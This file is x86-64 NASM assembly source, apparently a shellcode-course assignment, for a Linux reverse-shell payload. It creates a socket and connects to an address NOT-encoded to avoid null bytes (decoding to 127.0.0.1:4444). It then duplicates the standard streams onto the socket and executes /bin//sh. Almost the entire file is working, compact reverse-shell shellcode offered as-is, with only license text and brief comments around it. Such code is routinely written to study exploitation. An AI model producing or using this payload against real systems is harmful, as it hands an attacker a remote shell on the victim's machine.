70 lines
No EOL
1.9 KiB
NASM
70 lines
No EOL
1.9 KiB
NASM
;The MIT License (MIT)
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;Copyright (c) 2017 Robert L. Taylor
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;Permission is hereby granted, free of charge, to any person obtaining a
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;copy of this software and associated documentation files (the “Software”),
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;to deal in the Software without restriction, including without limitation
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;the rights to use, copy, modify, merge, publish, distribute, sublicense,
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;and/or sell copies of the Software, and to permit persons to whom the
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;Software is furnished to do so, subject to the following conditions:
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;The above copyright notice and this permission notice shall be included
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;in all copies or substantial portions of the Software.
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;The Software is provided “as is”, without warranty of any kind, express or
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;implied, including but not limited to the warranties of merchantability,
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;fitness for a particular purpose and noninfringement. In no event shall the
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;authors or copyright holders be liable for any claim, damages or other
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;liability, whether in an action of contract, tort or otherwise, arising
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;from, out of or in connection with the software or the use or other
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;dealings in the Software.
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;
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; For a detailed explanation of this shellcode see my blog post:
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; http://a41l4.blogspot.ca/2017/02/assignment-2b.html
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global _start
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section .text
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_start:
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; Socket
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push 41
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pop rax
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push 2
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pop rdi
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push 1
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pop rsi
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cdq
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syscall
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; Connect
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xchg edi, eax
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mov rbx, 0xfeffff80a3eefffd ; not encoded 0x0100007f5c110002
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not rbx
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push rbx
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mov al, 42
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push rsp
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pop rsi
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mov dl, 16
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syscall
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; Dup 2
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push 3
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pop rsi
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dup2loop:
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mov al, 33
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dec esi
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syscall
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loopnz dup2loop
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; Execve
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; rax and rsi are zero from the result of the last dup2 syscall and loop
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push rax ; zero terminator for the following string that we are pushing
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mov rbx, '/bin//sh'
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push rbx
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; store /bin//sh address in RDI
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push rsp
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pop rdi
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cdq ; zero rdx
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mov al, 59
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syscall |